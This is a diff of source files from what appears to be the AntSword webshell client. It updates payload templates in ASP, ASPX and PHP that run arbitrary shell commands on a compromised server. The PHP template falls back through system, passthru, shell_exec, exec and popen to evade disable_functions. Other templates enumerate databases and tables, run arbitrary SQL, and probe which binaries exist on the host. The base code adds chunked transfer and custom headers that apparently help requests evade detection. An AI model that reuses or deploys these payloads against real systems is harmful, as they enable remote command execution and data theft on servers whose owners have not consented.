`Set Conn=Server.CreateObject("Adodb.connection"):Conn.Open ""&bd(Request("${arg1}"))&"":Dim CO,HD,RN:CO=chr(9)&chr(124)&chr(9):RN=chr(13)&chr(10):HD="Result"&CO&RN:If Err Then:Response.Write HD&Err.Description&CO&RN:Err.Clear:Else:Set Rs=Conn.Execute(""&bd(Request("${arg2}"))&""):If Err Then:Response.Write HD&Err.Number&":"&Err.Description&CO&RN:Err.Clear:Else:Dim FN:FN=Rs.Fields.Count-1:For n=0 To FN:Response.Write Rs.Fields.Item(n).Name&CO:Next:Response.Write RN:Do While Not(Rs.Eof Or Rs.Bof):For n=0 To FN:Response.Write Rs(n):Response.Write CO:Next:Response.Write RN:Rs.MoveNext:Loop:End If:Set Rs=Nothing:Conn.Close:End If:Set Conn=Nothing:`, `Set Conn=Server.CreateObject("Adodb.connection"):
Conn.Open ""&bd(Request("${arg1}"))&"":
Dim CO,HD,RN:CO=chr(9)&chr(124)&chr(9):
RN=chr(13)&chr(10):
HD="Result"&CO&RN:
If Err Then:
Response.Write HD&Err.Description&CO&RN:
Err.Clear:
Else:
Set Rs=Conn.Execute(""&bd(Request("${arg2}"))&""):
If Err Then:
Response.Write HD&Err.Number&":"&Err.Description&CO&RN:
Err.Clear:
Else:
Dim FN:
FN=Rs.Fields.Count-1:
For n=0 To FN:
Response.Write Rs.Fields.Item(n).Name&CO:
Next:
Response.Write RN:
Do While Not(Rs.Eof Or Rs.Bof):
For n=0 To FN:
Response.Write Rs(n):
Response.Write CO:
Next:
Response.Write RN:
Rs.MoveNext:
Loop:
End If:
Set Rs=Nothing:
Conn.Close:
End If:
Set Conn=Nothing:`.replace(/\n\s+/g, ''),
[arg1]: '#{hex::conn}', [arg1]: '#{hex::conn}',
[arg2]: '#{hex::sql}', [arg2]: '#{hex::sql}',
[arg3]: '#{dbname}'
} }
}) })
...@@ -6,28 +6,130 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ ...@@ -6,28 +6,130 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
// 显示所有数据库 // 显示所有数据库
show_databases: { show_databases: {
_: _:
`Set Conn=Server.CreateObject("Adodb.connection"):Dim SI:Conn.Open bd(Request("${arg1}")):If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:Set Rs=CreateObject("Adodb.Recordset"):Rs.open "select [name] from master.dbo.sysdatabases order by 1",Conn,1,1:If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:Do While Not(Rs.Eof Or Rs.Bof):SI=SI&Rs(0)&chr(9):Rs.MoveNext:Loop:Rs.Close:End If:Set Rs=Nothing:Conn.Close:End If:Set Conn=Nothing:Response.Write(SI)`, `Set Conn=Server.CreateObject("Adodb.connection"):
Dim SI:
Conn.Open bd(Request("${arg1}")):
If Err Then:
SI="ERROR:// "&Err.Description:
Err.Clear:
Else:
Set Rs=CreateObject("Adodb.Recordset"):
Rs.open "select [name] from master.dbo.sysdatabases order by 1",Conn,1,1:
If Err Then:
SI="ERROR:// "&Err.Description:
Err.Clear:
Else:
Do While Not(Rs.Eof Or Rs.Bof):
SI=SI&Rs(0)&chr(9):
Rs.MoveNext:
Loop:
Rs.Close:
End If:
Set Rs=Nothing:
Conn.Close:
End If:
Set Conn=Nothing:
Response.Write(SI):`.replace(/\n\s+/g, ''),
[arg1]: '#{hex::conn}' [arg1]: '#{hex::conn}'
}, },
// 显示数据库所有表 // 显示数据库所有表
show_tables: { show_tables: {
_: _:
`Set Conn=Server.CreateObject("Adodb.connection"):Dim SI:Conn.Open ""&bd(Request("${arg1}"))&"":If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:Set Rs=Conn.Execute("USE ["&Request("${arg2}")&"];SELECT [name] FROM sysobjects WHERE (xtype=\'U\') ORDER BY 1"):If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:Do While Not(Rs.Eof Or Rs.Bof):SI=SI&Rs(0)&chr(9):Rs.MoveNext:Loop:End If:Set Rs=Nothing:Conn.Close:End If:Set Conn=Nothing:Response.Write(SI)`, `Set Conn=Server.CreateObject("Adodb.connection"):
Dim SI:
Conn.Open ""&bd(Request("${arg1}"))&"":
If Err Then:
SI="ERROR:// "&Err.Description:
Err.Clear:
Else:
Set Rs=Conn.Execute("USE ["&Request("${arg2}")&"];SELECT [name] FROM sysobjects WHERE (xtype=\'U\') ORDER BY 1"):
If Err Then:
SI="ERROR:// "&Err.Description:
Err.Clear:
Else:
Do While Not(Rs.Eof Or Rs.Bof):
SI=SI&Rs(0)&chr(9):
Rs.MoveNext:
Loop:
End If:
Set Rs=Nothing:
Conn.Close:
End If:
Set Conn=Nothing:
Response.Write(SI):`.replace(/\n\s+/g, ''),
[arg1]: '#{hex::conn}', [arg1]: '#{hex::conn}',
[arg2]: '#{dbname}' [arg2]: '#{dbname}'
}, },
// 显示表字段 // 显示表字段
show_columns: { show_columns: {
_: _:
`Function TN(n):Select Case n:Case 2:TN="smallint":Case 3:TN="int":Case 4:TN="real":Case 5:TN="float":Case 6:TN="money":Case 7:TN="datetime":Case 11:TN="bit":Case 12:TN="variant":Case 16:TN="tinyint":Case 17:TN="tinyint":Case 20:TN="bigint":Case 72:TN="unique":Case 128:TN="binary":Case 129:TN="char":Case 130:TN="nchar":Case 131:TN="numeric":Case 135:TN="datetime":Case 200:TN="varchar":Case 201:TN="text":Case 202:TN="nvarchar":Case 203:TN="ntext":Case 204:TN="varbinary":Case 205:TN="image":Case Else:TN=n:End Select:End Function:Set Conn=Server.CreateObject("Adodb.connection"):Dim SI:Conn.Open ""&bd(Request("${arg1}"))&"":If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:Set Rs=CreateObject("Adodb.Recordset"):Rs.open ""&bd(Request("${arg2}"))&"",Conn,1,1:If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:For n=0 To Rs.Fields.Count-1:SI=SI&Rs.Fields.Item(n).Name&" ("&TN(Rs.Fields.Item(n).Type)&")"&chr(9):Next:Rs.Close:End If:Set Rs=Nothing:Conn.Close:End If:Set Conn=Nothing:Response.Write(SI)`, `Set Conn=Server.CreateObject("Adodb.connection"):
Dim SI:
Conn.Open ""&bd(Request("${arg1}"))&"":
If Err Then:
SI="ERROR:// "&Err.Description:
Err.Clear:
Else:
Set Rs=CreateObject("Adodb.Recordset"):
Rs.open ""&bd(Request("${arg2}"))&"",Conn,1,1:
If Err Then:
SI="ERROR:// "&Err.Description:
Err.Clear:
Else:
For n=0 To Rs.Fields.Count-1:
SI=SI&Rs.Fields.Item(n).Name&chr(9):
Next:
Rs.Close:
End If:
Set Rs=Nothing:
Conn.Close:
End If:
Set Conn=Nothing:
Response.Write(SI):`.replace(/\n\s+/g, ''),
[arg1]: '#{hex::conn}', [arg1]: '#{hex::conn}',
[arg2]: '#{hex::table}' [arg2]: '#{hex::table}'
}, },
// 执行SQL语句 // 执行SQL语句
query: { query: {
_: _:
`Set Conn=Server.CreateObject("Adodb.connection"):Conn.Open ""&bd(Request("${arg1}"))&"":Dim CO,HD,RN:CO=chr(9)&chr(124)&chr(9):RN=chr(13)&chr(10):HD="Result"&CO&RN:If Err Then:Response.Write HD&Err.Description&CO&RN:Err.Clear:Else:Set Rs=Conn.Execute(""&bd(Request("${arg2}"))&""):If Err Then:Response.Write HD&Err.Number&":"&Err.Description&CO&RN:Err.Clear:Else:Dim FN:FN=Rs.Fields.Count-1:For n=0 To FN:Response.Write Rs.Fields.Item(n).Name&CO:Next:Response.Write RN:Do While Not(Rs.Eof Or Rs.Bof):For n=0 To FN:Response.Write Rs(n):Response.Write CO:Next:Response.Write RN:Rs.MoveNext:Loop:End If:Set Rs=Nothing:Conn.Close:End If:Set Conn=Nothing:`, `Set Conn=Server.CreateObject("Adodb.connection"):
Conn.Open ""&bd(Request("${arg1}"))&"":
Conn.DefaultDatabase=""&Request("${arg3}")&"":
Dim CO,HD,RN:
CO=chr(9)&chr(124)&chr(9):
RN=chr(13)&chr(10):
HD="Result"&CO&RN:
If Err Then:
Response.Write HD&Err.Description&CO&RN:
Err.Clear:
Else:
Set Rs=CreateObject("Adodb.Recordset"):
Rs.open ""&bd(Request("${arg2}"))&"",Conn,1,1:
If Err Then:
Response.Write HD&Err.Number&":"&Err.Description&CO&RN:
Err.Clear:
Else:
Dim FN:
FN=Rs.Fields.Count-1:
For n=0 To FN:
Response.Write Rs.Fields.Item(n).Name&CO:
Next:
Response.Write RN:
Do While Not(Rs.Eof Or Rs.Bof):
For n=0 To FN:
Response.Write Rs(n):
Response.Write CO:
Next:
Response.Write RN:
Rs.MoveNext:
Loop:
End If:
Set Rs=Nothing:
Conn.Close:
End If:
Set Conn=Nothing:`.replace(/\n\s+/g, ''),
[arg1]: '#{hex::conn}', [arg1]: '#{hex::conn}',
[arg2]: '#{hex::sql}', [arg2]: '#{hex::sql}',
[arg3]: '#{dbname}'
} }
}) })
...@@ -8,5 +8,15 @@ module.exports = (arg1, arg2) => ({ ...@@ -8,5 +8,15 @@ module.exports = (arg1, arg2) => ({
`var c=new System.Diagnostics.ProcessStartInfo(System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"])));var e=new System.Diagnostics.Process();var out:System.IO.StreamReader,EI:System.IO.StreamReader;c.UseShellExecute=false;c.RedirectStandardOutput=true;c.RedirectStandardError=true;e.StartInfo=c;c.Arguments="/c "+System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg2}"]));e.Start();out=e.StandardOutput;EI=e.StandardError;e.Close();Response.Write(out.ReadToEnd()+EI.ReadToEnd());`, `var c=new System.Diagnostics.ProcessStartInfo(System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"])));var e=new System.Diagnostics.Process();var out:System.IO.StreamReader,EI:System.IO.StreamReader;c.UseShellExecute=false;c.RedirectStandardOutput=true;c.RedirectStandardError=true;e.StartInfo=c;c.Arguments="/c "+System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg2}"]));e.Start();out=e.StandardOutput;EI=e.StandardError;e.Close();Response.Write(out.ReadToEnd()+EI.ReadToEnd());`,
[arg1]: "#{base64::bin}", [arg1]: "#{base64::bin}",
[arg2]: "#{base64::cmd}" [arg2]: "#{base64::cmd}"
},
listcmd: {
_:
`var binarr=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"]));
var ss=binarr.split(",");
var i;
for(var i in ss){
Response.Write(ss[i]+"\\t"+(System.IO.File.Exists(ss[i])?1:0)+"\\n");
}`.replace(/\n\s+/g, ''),
[arg1]: "#{base64::binarr}",
} }
}) })
...@@ -6,30 +6,87 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ ...@@ -6,30 +6,87 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
// 显示所有数据库 // 显示所有数据库
show_databases: { show_databases: {
_: _:
`var Conn=new ActiveXObject("Adodb.connection");Conn.Open(System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"])));Response.Write("[ADO DATABASE]\\t");Conn.Close();`, `var Conn=new ActiveXObject("Adodb.connection");
Conn.ConnectionTimeout=10;
Conn.Open(System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"])));
var Rs=new ActiveXObject("ADODB.Recordset");
Rs.Open("SELECT USERNAME FROM ALL_USERS ORDER BY 1",Conn,1,1);
while(!Rs.EOF && !Rs.BOF){
Response.Write(Rs.Fields(0).Value+"\\t");
Rs.MoveNext();
}
Rs.Close();
Conn.Close();`.replace(/\n\s+/g, ''),
// Provider=OraOLEDB.Oracle;Data Source=test;User Id=sys;Password=;Persist Security Info=True; // Provider=OraOLEDB.Oracle;Data Source=test;User Id=sys;Password=;Persist Security Info=True;
[arg1]: '#{base64::conn}' [arg1]: '#{base64::conn}'
}, },
// 显示数据库所有表 // 显示数据库所有表
show_tables: { show_tables: {
_: _:
`var Conn=new ActiveXObject("Adodb.connection");Conn.Open(System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"])));var Rs=new ActiveXObject("ADODB.Recordset");Rs.Open("SELECT TABLE_NAME FROM ALL_TABLES",Conn,1,1);while(!Rs.EOF && !Rs.BOF){Response.Write(Rs.Fields(0).Value+"\\t");Rs.MoveNext();}Rs.Close();Conn.Close();`, `var Conn=new ActiveXObject("Adodb.connection");
[arg1]: '#{base64::conn}' Conn.ConnectionString=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"]));
Conn.ConnectionTimeout=10;
Conn.Open();
var Rs=new ActiveXObject("ADODB.Recordset");
Rs.Open("SELECT TABLE_NAME FROM (SELECT TABLE_NAME FROM ALL_TABLES WHERE OWNER='"+Request.Item["${arg2}"]+"' ORDER BY 1)",Conn,1,1);
while(!Rs.EOF && !Rs.BOF){
Response.Write(Rs.Fields(0).Value+"\\t");
Rs.MoveNext();
}
Rs.Close();
Conn.Close();`.replace(/\n\s+/g, ''),
[arg1]: '#{base64::conn}',
[arg2]: '#{dbname}'
}, },
// 显示表字段 // 显示表字段
show_columns: { show_columns: {
_: _:
`function TN(n:Int32):String{switch(n){case 2:return "smallint";case 3:return "int";case 4:return "real";case 5:return "float";case 6:return "money";case 7:return "datetime";case 11:return "bit";case 12:return "variant";case 16:return "tinyint";case 17:return "tinyint";case 20:return "bigint";case 72:return "unique";case 128:return "binary";case 129:return "char";case 130:return "nchar";case 131:return "numeric";case 135:return "datetime";case 200:return "varchar";case 201:return "text";case 202:return "nvarchar";case 203:return "ntext";case 204:return "varbinary";case 205:return "image";default:return n;}}var Conn=new ActiveXObject("Adodb.connection");Conn.Open(System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"])));var Rs=new ActiveXObject("ADODB.Recordset");Rs.Open(System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg2}"])),Conn,1,1);var c:Int32;for(c=0;c<=Rs.Fields.Count-1;c++){Response.Write(Rs.Fields.Item(c).Name+" ("+TN(Rs.Fields.Item(c).Type)+")\\t");}Rs.Close();Conn.Close();`, `var Conn=new ActiveXObject("Adodb.connection");
Conn.ConnectionTimeout=10;
Conn.Open(System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"])));
var Rs=new ActiveXObject("ADODB.Recordset");
Rs.Open(System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg2}"])),Conn,1,1);
var CO:String="\\t";
var i:Int32=Rs.Fields.Count,c:Int32;
while(!Rs.EOF && !Rs.BOF){
Response.Write(Rs.Fields(0).Value+" ("+Rs.Fields(1).Value+"("+Rs.Fields(2).Value+"))");
Response.Write(CO);
Rs.MoveNext();
}
Rs.Close();
Conn.Close();`.replace(/\n\s+/g, ''),
[arg1]: '#{base64::conn}', [arg1]: '#{base64::conn}',
// SELECT * FROM (SELECT A.*,ROWNUM N FROM table2 A) WHERE N=1 // SELECT * FROM ${db}.${table} WHERE ROWNUM=0
[arg2]: '#{base64::table}' [arg2]: '#{base64::table}' // 这里其实传入的是获取表头的 sql 语句
}, },
// 执行SQL语句 // 执行SQL语句
query: { query: {
_: _:
`var Conn=new ActiveXObject("Adodb.connection");var strSQL:String=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg2}"]));Conn.ConnectionString=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"]));Conn.ConnectionTimeout=10;Conn.Open();var CO:String="\\t|\\t",RN:String="\\r\\n",Dat:String;var Rs=Conn.Execute(strSQL);var i:Int32=Rs.Fields.Count,c:Int32;for(c=0;c<i;c++){Response.Write(Rs.Fields(c).Name+CO);}Response.Write(RN);while(!Rs.EOF && !Rs.BOF){for(c=0;c<i;c++){Dat=Rs.Fields(c).Value;Response.Write(Dat);Response.Write(CO);}Response.Write(RN);Rs.MoveNext();}Conn.Close();`, `var Conn=new ActiveXObject("Adodb.connection");
var strSQL:String=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg2}"]));
Conn.ConnectionString=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"]));
Conn.ConnectionTimeout=10;
Conn.Open();
var CO:String="\\t|\\t",RN:String="\\r\\n",Dat:String;
var Rs=Conn.Execute(strSQL);
var i:Int32=Rs.Fields.Count,c:Int32;
for(c=0;c<i;c++){
Response.Write(Rs.Fields(c).Name+CO);
}
Response.Write(RN);
while(!Rs.EOF && !Rs.BOF){
for(c=0;c<i;c++){
Dat=Rs.Fields(c).Value;
Response.Write(Dat);
Response.Write(CO);
}
Response.Write(RN);
Rs.MoveNext();
}
Conn.Close();`.replace(/\n\s+/g, ''),
[arg1]: '#{base64::conn}', [arg1]: '#{base64::conn}',
// SELECT * FROM (SELECT A.*,ROWNUM N FROM table2 A ORDER BY 1) WHERE N>0 AND N<=20 // SELECT * FROM (SELECT A.*,ROWNUM N FROM table2 A ORDER BY 1) WHERE N>0 AND N<=20
[arg2]: '#{base64::sql}', [arg2]: '#{base64::sql}',
[arg3]: '#{dbname}'
} }
}) })
...@@ -158,7 +158,7 @@ class Base { ...@@ -158,7 +158,7 @@ class Base {
retStr = argv[tagStr] || ''; retStr = argv[tagStr] || '';
} }
// 组合最终生成模板代码 // 组合最终生成模板代码
data[arg] = args[arg].replace(tag, retStr); data[arg] = data[arg].replace(tag, retStr);
} }
) )
} }
...@@ -182,6 +182,8 @@ class Base { ...@@ -182,6 +182,8 @@ class Base {
*/ */
parseEncoder(enc) { parseEncoder(enc) {
// 加载编码器 // 加载编码器
// https://github.com/AntSwordProject/antSword/issues/135#issuecomment-475842870
delete require.cache[require.resolve(`${enc}`)];
// QAQ!我也不知道为什么,如果直接require变量名,babel编译就会warning,so我只好加个`咯~ // QAQ!我也不知道为什么,如果直接require变量名,babel编译就会warning,so我只好加个`咯~
this['__encoder__'][enc.indexOf(`encoder/`) > -1 ? enc.split(`encoder/`)[1]:enc.split(`encoder\\`)[1]] = require(`${enc}`); this['__encoder__'][enc.indexOf(`encoder/`) > -1 ? enc.split(`encoder/`)[1]:enc.split(`encoder\\`)[1]] = require(`${enc}`);
} }
...@@ -290,9 +292,15 @@ class Base { ...@@ -290,9 +292,15 @@ class Base {
data: opt['data'], data: opt['data'],
tag_s: opt['tag_s'], tag_s: opt['tag_s'],
tag_e: opt['tag_e'], tag_e: opt['tag_e'],
encode: this.__opts__['encode'],
ignoreHTTPS: (this.__opts__['otherConf'] || {})['ignore-https'] === 1, ignoreHTTPS: (this.__opts__['otherConf'] || {})['ignore-https'] === 1,
useChunk: (this.__opts__['otherConf'] || {})['use-chunk'] === 1,
chunkStepMin: (this.__opts__['otherConf'] || {})['chunk-step-byte-min'] || 2,
chunkStepMax: (this.__opts__['otherConf'] || {})['chunk-step-byte-max'] || 3,
useMultipart: (this.__opts__['otherConf'] || {})['use-multipart'] === 1, useMultipart: (this.__opts__['otherConf'] || {})['use-multipart'] === 1,
encode: this.__opts__['encode'] timeout: parseInt((this.__opts__['otherConf'] || {})['request-timeout']),
headers: (this.__opts__['httpConf'] || {})['headers'] || {},
body: (this.__opts__['httpConf'] || {})['body'] || {}
}); });
}) })
} }
......
...@@ -7,5 +7,9 @@ module.exports = () => ({ ...@@ -7,5 +7,9 @@ module.exports = () => ({
_: 'M', _: 'M',
'z1': '#{bin}', 'z1': '#{bin}',
'z2': '#{cmd}' 'z2': '#{cmd}'
},
listcmd: {
_: 'Y',
'z1': '#{binarr}',
} }
}) })
...@@ -14,7 +14,7 @@ class Core { ...@@ -14,7 +14,7 @@ class Core {
constructor() { constructor() {
// 加载子模块列表 // 加载子模块列表
let cores = {}; let cores = {};
['php', 'asp', 'aspx', 'custom'].map((_) => { ['php', 'asp', 'aspx', 'custom', 'php4'].map((_) => {
cores[_] = require(`./${_}/index`); cores[_] = require(`./${_}/index`);
}); });
// 返回子模块对象 // 返回子模块对象
......
...@@ -20,6 +20,9 @@ class PHP extends Base { ...@@ -20,6 +20,9 @@ class PHP extends Base {
'database/mssql', 'database/mssql',
'database/sqlsrv', 'database/sqlsrv',
'database/oracle', 'database/oracle',
'database/oracle_oci8',
'database/postgresql',
'database/postgresql_pdo',
'database/informix' 'database/informix'
].map((_) => { ].map((_) => {
this.parseTemplate(`./php/template/${_}`); this.parseTemplate(`./php/template/${_}`);
......
...@@ -7,8 +7,13 @@ module.exports = () => ({ ...@@ -7,8 +7,13 @@ module.exports = () => ({
info: info:
`$D=dirname($_SERVER["SCRIPT_FILENAME"]);if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);$R="{$D}\t";if(substr($D,0,1)!="/"){foreach(range("C","Z")as $L)if(is_dir("{$L}:"))$R.="{$L}:";}else{$R.="/";}$R.="\t";$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";$s=($u)?$u["name"]:@get_current_user();$R.=php_uname();$R.="\t{$s}";echo $R;`, `$D=dirname($_SERVER["SCRIPT_FILENAME"]);if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);$R="{$D}\t";if(substr($D,0,1)!="/"){foreach(range("C","Z")as $L)if(is_dir("{$L}:"))$R.="{$L}:";}else{$R.="/";}$R.="\t";$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";$s=($u)?$u["name"]:@get_current_user();$R.=php_uname();$R.="\t{$s}";echo $R;`,
probedb: // 检测数据库函数支持 probedb: // 检测数据库函数支持
`$m=array('mysql_close','mysqli_close','mssql_close','sqlsrv_close','ora_close','ifx_close','sqlite_close','pg_close','dba_close','dbmclose','filepro_fieldcount','sybase_close'); `$m=array('mysql_close','mysqli_close','mssql_close','sqlsrv_close','ora_close','oci_close','ifx_close','sqlite_close','pg_close','dba_close','dbmclose','filepro_fieldcount','sybase_close');
foreach ($m as $f) { foreach ($m as $f) {
echo($f."\\t".(function_exists($f)?'1':'0')."\\n"); echo($f."\\t".(function_exists($f)?'1':'0')."\\n");
}
if(function_exists('pdo_drivers')){
foreach(@pdo_drivers() as $f){
echo("pdo_".$f."\\t1\\n");
}
}`.replace(/\n\s+/g, ''), }`.replace(/\n\s+/g, ''),
}) })
...@@ -5,11 +5,55 @@ ...@@ -5,11 +5,55 @@
module.exports = (arg1, arg2) => ({ module.exports = (arg1, arg2) => ({
exec: { exec: {
_: _:
`$p=base64_decode($_POST["${arg1}"]);$s=base64_decode($_POST["${arg2}"]);$d=dirname($_SERVER["SCRIPT_FILENAME"]);$c=substr($d,0,1)=="/"?"-c \\"{$s}\\"":"/c \\"{$s}\\"";$r="{$p} {$c}";function fe($f){$d=explode(",",@ini_get("disable_functions"));if(empty($d)){$d=array();}else{$d=array_map('trim',array_map('strtolower',$d));}return(function_exists($f)&&is_callable($f)&&!in_array($f,$d));};function runcmd($c){$ret=0;if(fe('system')){@system($c,$ret);}elseif(fe('passthru')){@passthru($c,$ret);}elseif(fe('shell_exec')){print(@shell_exec($c));}elseif(fe('exec')){@exec($c,$o,$ret);print(join("\n",$o));}elseif (fe('popen')){$fp=@popen($c,'r');while(!@feof($fp)){print(@fgets($fp, 2048));}@pclose($fp);}else{$ret = 127;}return $ret;};$ret=@runcmd($r." 2>&1");print ($ret!=0)?"ret={$ret}":"";`, `$p=base64_decode($_POST["${arg1}"]);
$s=base64_decode($_POST["${arg2}"]);
$d=dirname($_SERVER["SCRIPT_FILENAME"]);
$c=substr($d,0,1)=="/"?"-c \\"{$s}\\"":"/c \\"{$s}\\"";
$r="{$p} {$c}";
function fe($f){$d=explode(",",@ini_get("disable_functions"));
if(empty($d)){
$d=array();
}else{
$d=array_map('trim',array_map('strtolower',$d));
}
return(function_exists($f)&&is_callable($f)&&!in_array($f,$d));
};
function runcmd($c){
$ret=0;
if(fe('system')){
@system($c,$ret);
}elseif(fe('passthru')){
@passthru($c,$ret);
}elseif(fe('shell_exec')){
print(@shell_exec($c));
}elseif(fe('exec')){
@exec($c,$o,$ret);
print(join("\n",$o));
}elseif(fe('popen')){
$fp=@popen($c,'r');
while(!@feof($fp)){
print(@fgets($fp, 2048));
}
@pclose($fp);
}elseif(fe('antsystem')){
@antsystem($c);
}else{
$ret = 127;
}
return $ret;
};
$ret=@runcmd($r." 2>&1");
print ($ret!=0)?"ret={$ret}":"";`.replace(/\n\s+/g, ''),
[arg1]: "#{base64::bin}", [arg1]: "#{base64::bin}",
[arg2]: "#{base64::cmd}" [arg2]: "#{base64::cmd}"
}, },
listcmd: {
_: `$arr=explode(",",base64_decode($_POST["${arg1}"]));
foreach($arr as $v){
echo($v."\t".(file_exists($v)?"1":"0")."\n");
}`.replace(/\n\s+/g, ''),
[arg1]: "#{base64::binarr}",
},
quote: { quote: {
_: _:
`$p=base64_decode($_POST["${arg1}"]);$s=base64_decode($_POST["${arg2}"]);$d=dirname($_SERVER["SCRIPT_FILENAME"]);$c=substr($d,0,1)=="/"?"-c \\"{$s}\\"":"/c \\"{$s}\\"";$r="{$p} {$c}";echo \`{$r} 2>&1\``, `$p=base64_decode($_POST["${arg1}"]);$s=base64_decode($_POST["${arg2}"]);$d=dirname($_SERVER["SCRIPT_FILENAME"]);$c=substr($d,0,1)=="/"?"-c \\"{$s}\\"":"/c \\"{$s}\\"";$r="{$p} {$c}";echo \`{$r} 2>&1\``,
......
/**
* 数据库管理模板::oracle oci8 驱动
* i 数据分隔符号 => \t|\t
*
* session_mode: OCI_DEFAULT 0 OCI_SYSOPER 4 OCI_SYSDBA 2
*
*/
module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
// 显示所有数据库
show_databases: {
_:
`$m=get_magic_quotes_gpc();
$sid=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];
$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];
$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];
$chs="utf8";
$mod=0;
$H=@oci_connect($usr,$pwd,$sid,$chs,$mod);
if(!$H){
echo("ERROR://".@oci_error()["message"]);
}else{
$q=@oci_parse($H,"SELECT USERNAME FROM ALL_USERS ORDER BY 1");
if(@oci_execute($q)){
while(@oci_fetch($q)){
echo(trim(@oci_result($q,1)).chr(9));
}
}else{
echo("Status\t|\t\r\n");
$e=@oci_error($q);
if($e){
echo(base64_encode("ERROR://{$e['message']} in [{$e['sqltext']}] col:{$e['offset']}")."\t|\t\r\n");
}else{
echo("RmFsc2U="."\t|\t\r\n");
}
}
@oci_close($H);
};`.replace(/\n\s+/g, ''),
[arg1]: '#{host}',
[arg2]: '#{user}',
[arg3]: '#{passwd}'
},
// 显示数据库所有表
show_tables: {
_:
`$m=get_magic_quotes_gpc();
$sid=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];
$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];
$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];
$dbn=$m?stripslashes($_POST["${arg4}"]):$_POST["${arg4}"];
$chs="utf8";
$mod=0;
$sql="SELECT TABLE_NAME FROM (SELECT TABLE_NAME FROM ALL_TABLES WHERE OWNER='{$dbn}' ORDER BY 1)";
$H=@oci_connect($usr,$pwd,$sid,$chs,$mod);
if(!$H){
echo("ERROR://".@oci_error()["message"]);
}else{
$q=@oci_parse($H,$sql);
if(@oci_execute($q)){
$n=@oci_fetch_all($q,$res,0,-1,OCI_FETCHSTATEMENT_BY_ROW+OCI_NUM);
if($n==0){
echo("ERROR://Database has no tables or no privilege");
}else{
for($i=0;$i<$n;$i++){
$row=$res[$i];
echo(trim($row[0]).chr(9));
}
}
}else{
echo("Status\t|\t\r\n");
$e=@oci_error($q);
if($e){
echo(base64_encode("ERROR://{$e['message']} in [{$e['sqltext']}] col:{$e['offset']}")."\t|\t\r\n");
}else{
echo("RmFsc2U="."\t|\t\r\n");
}
}
@oci_close($H);
};`.replace(/\n\s+/g, ''),
[arg1]: '#{host}',
[arg2]: '#{user}',
[arg3]: '#{passwd}',
[arg4]: '#{db}'
},
// 显示表字段
show_columns: {
_:
`$m=get_magic_quotes_gpc();
$sid=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];
$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];
$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];
$dbn=$m?stripslashes($_POST["${arg4}"]):$_POST["${arg4}"];
$tab=$m?stripslashes($_POST["${arg5}"]):$_POST["${arg5}"];
$sql="SELECT COLUMN_NAME,DATA_TYPE,DATA_LENGTH FROM ALL_TAB_COLUMNS WHERE OWNER='{$dbn}' AND TABLE_NAME='{$tab}' ORDER BY COLUMN_ID";
$chs="utf8";
$mod=0;
$H=@oci_connect($usr,$pwd,$sid,$chs,$mod);
if(!$H){
echo("ERROR://".@oci_error()["message"]);
}else{
$q=@oci_parse($H,$sql);
if(@oci_execute($q)){
$n=@oci_fetch_all($q,$res,0,-1,OCI_FETCHSTATEMENT_BY_ROW+OCI_NUM);
if($n==0){
echo("ERROR://Table has no columns or no privilege");
}else{
for($i=0;$i<$n;$i++){
